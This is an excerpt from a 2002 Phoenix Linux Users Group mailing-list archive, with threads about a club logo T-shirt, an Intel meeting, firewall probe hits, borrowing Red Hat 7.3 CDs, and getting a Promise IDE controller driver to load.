http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 20:28:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 13:28:39 -0700 Subject: Plug logo In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B489@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B489@mail.int.fh.org> Message-ID: <200206121328.39640.zen2now@qwest.net> On Wednesday 12 June 2002 11:18 am, Tom Achtenberg wrote: thats a great idea, but what would we do with the money? we could buy beer!!! :~D slr > If someone can get them made, we could use the "For Sale" site Kimi has on > unitywave.com to sell/distribute them. > > -----Original Message----- > From: Derek Neighbors [mailto:derek@gnue.org] > Sent: Wednesday, June 12, 2002 10:59 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Plug logo > > > > The other option is CafePress.com. The product probably wont look as nice > and you wont raise as much money, but there is no out of pocket cost. > > The way it works is you upload your images and design your product online > at no cost. Then it creates a virtual store. Then you can buy products > and a portion of each sale comes back to you. > > http://www.cafepress.com/cp/store/store.aspx?storeid=geekgoods > > is an example.... I would whip up some for plug, but unfortunately the > image on the web site is... > > a. A .gif file (bad bad bad, i'm giving you a url to a .png version please > fix the site to use the .png version) > b. The .gif is so trashed it wont even open in gimp. (or gimp is that > broken) > > -Derek > > > Link to .png verison ( http://www.gnuenterprise.org/~dneighbo/plug.png ) > Why .gif is bad ( http://burnallgifs.org/ ) > > On Wed, 12 Jun 2002, Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Great idea. All we need to do is get someone to get the logo ready for > > screening, find someone to make the tshirts, and someone to cover the > > cost of having them made. > > > > OTOH, if you have the connections, by all means investigate it and lets > > see if we can get it done ;) > > > > On Wednesday 12 June 2002 09:58, you wrote: > > > good morning plug, > > > > > > hope this request doesnt offend anyone, but > > > i was wondering is there any way i could get my hands on a Plug Logo > > > T-Shirt? I love the logo, "A Penguin in the Desert". > > > > > > slr > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > - -- > > Jim > > > > Freedom is worth protecting > > > > -----BEGIN PGP SIGNATURE----- > > Version: PGP 6.5.8 > > > > iQA/AwUBPQeELisk3ywszI1FEQIHAgCdHWB5vYQRGvbjjSJOXrYtHQsl8I0AoMgY > > kBumg9lr/hCgTiM+jPaCj8w/ > > =9O71 > > -----END PGP SIGNATURE----- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 20:26:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 13:26:28 -0700 Subject: Plug logo In-Reply-To: <200206120958.39618.zen2now@qwest.net> References: <200206120958.39618.zen2now@qwest.net> Message-ID: <200206121326.28646.zen2now@qwest.net> On Wednesday 12 June 2002 09:58 am, slr wrote: i spoke with one of the guys in the graphics dept. and hopefully by the end of the week i will have a vector image of the gif that is on the plug site. this new image should be easier to work. what do you guys think? slr > good morning plug, > > hope this request doesnt offend anyone, but i > was wondering is there any way i could get my hands on a Plug Logo T-Shirt? > I love the logo, "A Penguin in the Desert". > > slr > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 20:33:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 12 Jun 2002 13:33:27 -0700 Subject: Plug logo Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B490@mail.int.fh.org> And pizza! -----Original Message----- From: slr [mailto:zen2now@qwest.net] Sent: Wednesday, June 12, 2002 1:29 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Plug logo On Wednesday 12 June 2002 11:18 am, Tom Achtenberg wrote: thats a great idea, but what would we do with the money? we could buy beer!!! :~D slr > If someone can get them made, we could use the "For Sale" site Kimi has on > unitywave.com to sell/distribute them. > > -----Original Message----- > From: Derek Neighbors [mailto:derek@gnue.org] > Sent: Wednesday, June 12, 2002 10:59 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Plug logo > > > > The other option is CafePress.com. The product probably wont look as nice > and you wont raise as much money, but there is no out of pocket cost. > > The way it works is you upload your images and design your product online > at no cost. Then it creates a virtual store. Then you can buy products > and a portion of each sale comes back to you. > > http://www.cafepress.com/cp/store/store.aspx?storeid=geekgoods > > is an example.... I would whip up some for plug, but unfortunately the > image on the web site is... > > a. A .gif file (bad bad bad, i'm giving you a url to a .png version please > fix the site to use the .png version) > b. The .gif is so trashed it wont even open in gimp. (or gimp is that > broken) > > -Derek > > > Link to .png verison ( http://www.gnuenterprise.org/~dneighbo/plug.png ) > Why .gif is bad ( http://burnallgifs.org/ ) > > On Wed, 12 Jun 2002, Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Great idea. All we need to do is get someone to get the logo ready for > > screening, find someone to make the tshirts, and someone to cover the > > cost of having them made. > > > > OTOH, if you have the connections, by all means investigate it and lets > > see if we can get it done ;) > > > > On Wednesday 12 June 2002 09:58, you wrote: > > > good morning plug, > > > > > > hope this request doesnt offend anyone, but > > > i was wondering is there any way i could get my hands on a Plug Logo > > > T-Shirt? I love the logo, "A Penguin in the Desert". > > > > > > slr > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > - -- > > Jim > > > > Freedom is worth protecting > > > > -----BEGIN PGP SIGNATURE----- > > Version: PGP 6.5.8 > > > > iQA/AwUBPQeELisk3ywszI1FEQIHAgCdHWB5vYQRGvbjjSJOXrYtHQsl8I0AoMgY > > kBumg9lr/hCgTiM+jPaCj8w/ > > =9O71 > > -----END PGP SIGNATURE----- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 20:32:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 12 Jun 2002 16:32:29 -0400 Subject: Thursday Meeting? Message-ID: I offered and asked them to do that but so far they have been completely non-commital about it. They all live in the east valley (near Intel, of course). At this point I assume they will not be coming that way. I will ask them again tomorrow. Alan On Wed, 12 Jun 2002 13:18:13 -0700 foodog wrote: Alan, are they going to mosey out West too? Steve alandd@mindspring.com wrote: > > I am sorry that the web site is out of date. > > YES, we are having a meeting. Representatives from Intel will be presenting on how they use Linux within the company. IT infrastructure, mult-machine building, clustering, and desktop use will be discussed. I confirmed with them by phone yesterday. > > They will be bringing stuff to giveaway too! I hope you can be there. > > Alan From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 13:39:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jon K) Date: Thu, 13 Jun 2002 13:39:49 +0000 Subject: code red virus? In-Reply-To: <3D06F5CB.84E0A50D@mindspring.com> References: <3D06F5CB.84E0A50D@mindspring.com> Message-ID: <200206131339.49473.jon@unfm00.com> I had this happen to me too... I had over 500 hits from some guys IIS 5.0 server in just one day. So I found out who he was and called his house. The man sounded a little shocked I had his number. The computer went of line quickly. :) Jon On Wednesday 12 June 2002 07:18, User wrote: > Lately we have noticed that our friendly firewall is taking hits from > what seems to be Russia. At least today it seems to be Russia. > Novoisvirsk, it seems like, according to traceroute. > I don't know a whole lot about probes like this but am thankful to you > folks for your guidance with regard to firewalls. > > Is there something that we can do with regard to this type of thing? > Maybe, just track them down for fun. Where would be a good place to > start reading about this sort of thing. > > We trace routed them throught 25 hops to 217.70.107.151 > > p151.rnttu.sinor.ru was the last hop on the list. > > Thank you > Roger > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 20:53:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 13:53:36 -0700 Subject: Redhat 7.3 CDs In-Reply-To: <20020611202334.WRXC4949.lakemtao04.cox.net@smtp.east.cox.net> References: <20020611202334.WRXC4949.lakemtao04.cox.net@smtp.east.cox.net> Message-ID: <200206121353.36846.zen2now@qwest.net> if you have bandwidth and a burner, i have all 3 valhalla-i386 iso's. you can email me off list and i will give you the info you'll need. slr On Tuesday 11 June 2002 01:23 pm, Mark Phillips wrote: > Does anyone have a set of Redhat 7.3 CDs I could borrow? My work laptop > was stolen and I need to rebuild an old laptop with 7.3 for a project I am > working on. > > I know the install fest is coming up (I had intended upgrading this old > machine then, but the loss of my work computer has accelerated my need!). > > I have 7.0 running on my old laptop (Dell Inspiron 3000). When I tried to > install 7.1 from the CDs the install failed. I am hoping 7.3 will work > better. > > I live in Scottsdale if there is someone close by, but I am willing to > drive across the valley get this machine up and running to back to work! > > Thanks! > > Mark > > > Mark Phillips > Phillips Marketing, Inc. > 480.945.0798 > 480.945.9197 fax > mark@phillipsmarketing.biz > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 21:00:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 14:00:02 -0700 Subject: Plug logo In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B490@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B490@mail.int.fh.org> Message-ID: <200206121400.02170.zen2now@qwest.net> Oh Goody!!!! On Wednesday 12 June 2002 01:33 pm, Tom Achtenberg wrote: > And pizza! > > -----Original Message----- > From: slr [mailto:zen2now@qwest.net] > Sent: Wednesday, June 12, 2002 1:29 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Plug logo > > > On Wednesday 12 June 2002 11:18 am, Tom Achtenberg wrote: > > thats a great idea, but what would we do with the money? > we could buy beer!!! :~D > > slr > > > If someone can get them made, we could use the "For Sale" site Kimi has > > on unitywave.com to sell/distribute them. > > > > -----Original Message----- > > From: Derek Neighbors [mailto:derek@gnue.org] > > Sent: Wednesday, June 12, 2002 10:59 AM > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Re: Plug logo > > > > > > > > The other option is CafePress.com. The product probably wont look as > > nice and you wont raise as much money, but there is no out of pocket > > cost. > > > > The way it works is you upload your images and design your product online > > at no cost. Then it creates a virtual store. Then you can buy products > > and a portion of each sale comes back to you. > > > > http://www.cafepress.com/cp/store/store.aspx?storeid=geekgoods > > > > is an example.... I would whip up some for plug, but unfortunately the > > image on the web site is... > > > > a. A .gif file (bad bad bad, i'm giving you a url to a .png version > > please fix the site to use the .png version) > > b. The .gif is so trashed it wont even open in gimp. (or gimp is that > > broken) > > > > -Derek > > > > > > Link to .png verison ( http://www.gnuenterprise.org/~dneighbo/plug.png ) > > Why .gif is bad ( http://burnallgifs.org/ ) > > > > On Wed, 12 Jun 2002, Jim wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > Great idea. All we need to do is get someone to get the logo ready for > > > screening, find someone to make the tshirts, and someone to cover the > > > cost of having them made. > > > > > > OTOH, if you have the connections, by all means investigate it and lets > > > see if we can get it done ;) > > > > > > On Wednesday 12 June 2002 09:58, you wrote: > > > > good morning plug, > > > > > > > > hope this request doesnt offend anyone, > > > > but i was wondering is there any way i could get my hands on a Plug > > > > Logo T-Shirt? I love the logo, "A Penguin in the Desert". > > > > > > > > slr > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > - -- > > > Jim > > > > > > Freedom is worth protecting > > > > > > -----BEGIN PGP SIGNATURE----- > > > Version: PGP 6.5.8 > > > > > > iQA/AwUBPQeELisk3ywszI1FEQIHAgCdHWB5vYQRGvbjjSJOXrYtHQsl8I0AoMgY > > > kBumg9lr/hCgTiM+jPaCj8w/ > > > =9O71 > > > -----END PGP SIGNATURE----- > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 21:00:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 14:00:02 -0700 Subject: Plug logo In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B490@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B490@mail.int.fh.org> Message-ID: <200206121400.02170.zen2now@qwest.net> Oh Goody!!!! On Wednesday 12 June 2002 01:33 pm, Tom Achtenberg wrote: > And pizza! > > -----Original Message----- > From: slr [mailto:zen2now@qwest.net] > Sent: Wednesday, June 12, 2002 1:29 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Plug logo > > > On Wednesday 12 June 2002 11:18 am, Tom Achtenberg wrote: > > thats a great idea, but what would we do with the money? > we could buy beer!!! :~D > > slr > > > If someone can get them made, we could use the "For Sale" site Kimi has > > on unitywave.com to sell/distribute them. > > > > -----Original Message----- > > From: Derek Neighbors [mailto:derek@gnue.org] > > Sent: Wednesday, June 12, 2002 10:59 AM > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Re: Plug logo > > > > > > > > The other option is CafePress.com. The product probably wont look as > > nice and you wont raise as much money, but there is no out of pocket > > cost. > > > > The way it works is you upload your images and design your product online > > at no cost. Then it creates a virtual store. Then you can buy products > > and a portion of each sale comes back to you. > > > > http://www.cafepress.com/cp/store/store.aspx?storeid=geekgoods > > > > is an example.... I would whip up some for plug, but unfortunately the > > image on the web site is... > > > > a. A .gif file (bad bad bad, i'm giving you a url to a .png version > > please fix the site to use the .png version) > > b. The .gif is so trashed it wont even open in gimp. (or gimp is that > > broken) > > > > -Derek > > > > > > Link to .png verison ( http://www.gnuenterprise.org/~dneighbo/plug.png ) > > Why .gif is bad ( http://burnallgifs.org/ ) > > > > On Wed, 12 Jun 2002, Jim wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > Great idea. All we need to do is get someone to get the logo ready for > > > screening, find someone to make the tshirts, and someone to cover the > > > cost of having them made. > > > > > > OTOH, if you have the connections, by all means investigate it and lets > > > see if we can get it done ;) > > > > > > On Wednesday 12 June 2002 09:58, you wrote: > > > > good morning plug, > > > > > > > > hope this request doesnt offend anyone, > > > > but i was wondering is there any way i could get my hands on a Plug > > > > Logo T-Shirt? I love the logo, "A Penguin in the Desert". > > > > > > > > slr > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > - -- > > > Jim > > > > > > Freedom is worth protecting > > > > > > -----BEGIN PGP SIGNATURE----- > > > Version: PGP 6.5.8 > > > > > > iQA/AwUBPQeELisk3ywszI1FEQIHAgCdHWB5vYQRGvbjjSJOXrYtHQsl8I0AoMgY > > > kBumg9lr/hCgTiM+jPaCj8w/ > > > =9O71 > > > -----END PGP SIGNATURE----- > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 21:18:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 14:18:36 -0700 Subject: Plug logo In-Reply-To: <200206120958.39618.zen2now@qwest.net> References: <200206120958.39618.zen2now@qwest.net> Message-ID: <200206121418.36425.zen2now@qwest.net> ok i sent the png image to my graphic guy, we will refer to him from now on as "Austin" (the name has been changed to protect his innocence), and this was his response: this is the same .gif inside of a .png document... vector images are made of lines and math, keeping high quality no matter how large or small you resize the image. raster images are made of many many dots or pixels of only 257 different colors, so when you enlarge these images, they get choppy or "pixilated" so he is more than happy to donate some of his time to this long overdue project. YEAH!!!! slr On Wednesday 12 June 2002 09:58 am, slr wrote: > good morning plug, > > hope this request doesnt offend anyone, but i > was wondering is there any way i could get my hands on a Plug Logo T-Shirt? > I love the logo, "A Penguin in the Desert". > > slr > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 21:33:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Wed, 12 Jun 2002 14:33:49 -0700 Subject: Promise Ultra 133 tx2 Message-ID: <2AAC72149C827944B96C854ABD0BCAFF16B73D@azmscorp01.corp.azms> Anybody ever had any luck getting a promise ultra 133 tx2 controller working under 2.4.7.x. on RH7.2 I have the fasttrack drivers for the fasttrack 100 for 2.4.7-10 but insmod gives me an error ft.o: init_module: Operation not permitted So I don't know if I am out of luck until promise makes a driver specific for the 133 or not. If anybody has any insight on this it would be greatly appreciated. I have searched on google and checked out promises site. maybe I missed something or just sol for now. but I really need the 120 gig drive. :) Thanks. Larry Lauer From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 21:47:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Wed, 12 Jun 2002 14:47:46 -0700 Subject: Promise Ultra 133 tx2 References: <2AAC72149C827944B96C854ABD0BCAFF16B73D@azmscorp01.corp.azms> Message-ID: <3D07C182.CC623F44@qwest.net> What user are you doing the insmod from? Operation not permitted makes me think you don't have the right permissions (e.g. user root). Larry Lauer wrote: > > Anybody ever had any luck getting a promise ultra 133 tx2 controller working under 2.4.7.x. on RH7.2 I have the fasttrack drivers for the fasttrack 100 for 2.4.7-10 but insmod gives me an error > > ft.o: init_module: Operation not permitted > > So I don't know if I am out of luck until promise makes a driver specific for the 133 or not. > > If anybody has any insight on this it would be greatly appreciated. I have searched on google and checked out promises site. maybe I missed something or just sol for now. but I really need the 120 gig drive. :) > > Thanks. > > Larry Lauer > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 15:41:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jon K) Date: Thu, 13 Jun 2002 15:41:50 +0000 Subject: Promise Ultra 133 tx2 In-Reply-To: <3D07C182.CC623F44@qwest.net> References: <2AAC72149C827944B96C854ABD0BCAFF16B73D@azmscorp01.corp.azms> <3D07C182.CC623F44@qwest.net> Message-ID: <200206131541.50212.jon@unfm00.com> I'm running Promise MBFastrack ata133 on my A7v333 board with kernel 2.4.19-pre10-ac2. You may want to go get the latest kernel and build it will support for you chipset. Then it may work right. I used these links. linux-ide.org http://www.murty.net/ataraid/ jon On Wednesday 12 June 2002 21:47, Kevin Brown wrote: > What user are you doing the insmod from? Operation not permitted makes me > think you don't have the right permissions (e.g. user root). > > Larry Lauer wrote: > > Anybody ever had any luck getting a promise ultra 133 tx2 controller > > working under 2.4.7.x. on RH7.2 I have the fasttrack drivers for the > > fasttrack 100 for 2.4.7-10 but insmod gives me an error > > > > ft.o: init_module: Operation not permitted > > > > So I don't know if I am out of luck until promise makes a driver specific > > for the 133 or not. > > > > If anybody has any insight on this it would be greatly appreciated. I > > have searched on google and checked out promises site. maybe I missed > > something or just sol for now. but I really need the 120 gig drive. :) > > > > Thanks. > > > > Larry Lauer > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 23:02:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Wed, 12 Jun 2002 16:02:15 -0700 Subject: Promise Ultra 133 tx2 Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DD2@azmscorp01.corp.azms> insmod was run as root. -----Original Message----- From: Kevin Brown [mailto:kevin_brown@qwest.net] Sent: Wednesday, June 12, 2002 2:48 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Promise Ultra 133 tx2 What user are you doing the insmod from? Operation not permitted makes me think you don't have the right permissions (e.g. user root). Larry Lauer wrote: > > Anybody ever had any luck getting a promise ultra 133 tx2 controller working under 2.4.7.x. on RH7.2 I have the fasttrack drivers for the fasttrack 100 for 2.4.7-10 but insmod gives me an error > > ft.o: init_module: Operation not permitted > > So I don't know if I am out of luck until promise makes a driver specific for the 133 or not. > > If anybody has any insight on this it would be greatly appreciated. I have searched on google and checked out promises site. maybe I missed something or just sol for now. but I really need the 120 gig drive. :) > > Thanks. > > Larry Lauer > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 23:24:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 12 Jun 2002 16:24:31 -0700 Subject: Promise Ultra 133 tx2 In-Reply-To: <2AAC72149C827944B96C854ABD0BCAFF16B73D@azmscorp01.corp.azms> References: <2AAC72149C827944B96C854ABD0BCAFF16B73D@azmscorp01.corp.azms> Message-ID: <200206121624.31879.voltage_spike@fastmail.fm> On Wednesday 12 June 2002 02:33 pm, Larry Lauer wrote: > Anybody ever had any luck getting a promise ultra 133 tx2 controller > working under 2.4.7.x. on RH7.2 I have the fasttrack drivers for the > fasttrack 100 for 2.4.7-10 but insmod gives me an error > > ft.o: init_module: Operation not permitted > > So I don't know if I am out of luck until promise makes a driver specific > for the 133 or not. I doubt that it would be helpful, but what happens if you use modprobe instead of insmod? -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 00:05:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kyle O'Malley) Date: Wed, 12 Jun 2002 17:05:39 -0700 Subject: Promise Ultra 133 tx2 In-Reply-To: <2AAC72149C827944B96C854ABD0BCAFF16B73D@azmscorp01.corp.azms> References: <2AAC72149C827944B96C854ABD0BCAFF16B73D@azmscorp01.corp.azms> Message-ID: <20020613000539.GB25390@aries.evilmascot.com> I would suggest looking at kern.log and the tail end of dmesg (syslog or debug.log might also have something to help). I'm thinking it's either just a non-working module or its a kernel version problem (either your kernel is compliled to whine when you try inserting modules compiled under different kernel versions or it simply doesnt work with your kernel version). In any case hopefully the logs will say something. -Kyle On Wed, Jun 12, 2002 at 02:33:49PM -0700, Larry Lauer wrote: > Anybody ever had any luck getting a promise ultra 133 tx2 controller working under 2.4.7.x. on RH7.2 I have the fasttrack drivers for the fasttrack 100 for 2.4.7-10 but insmod gives me an error > > ft.o: init_module: Operation not permitted > > So I don't know if I am out of luck until 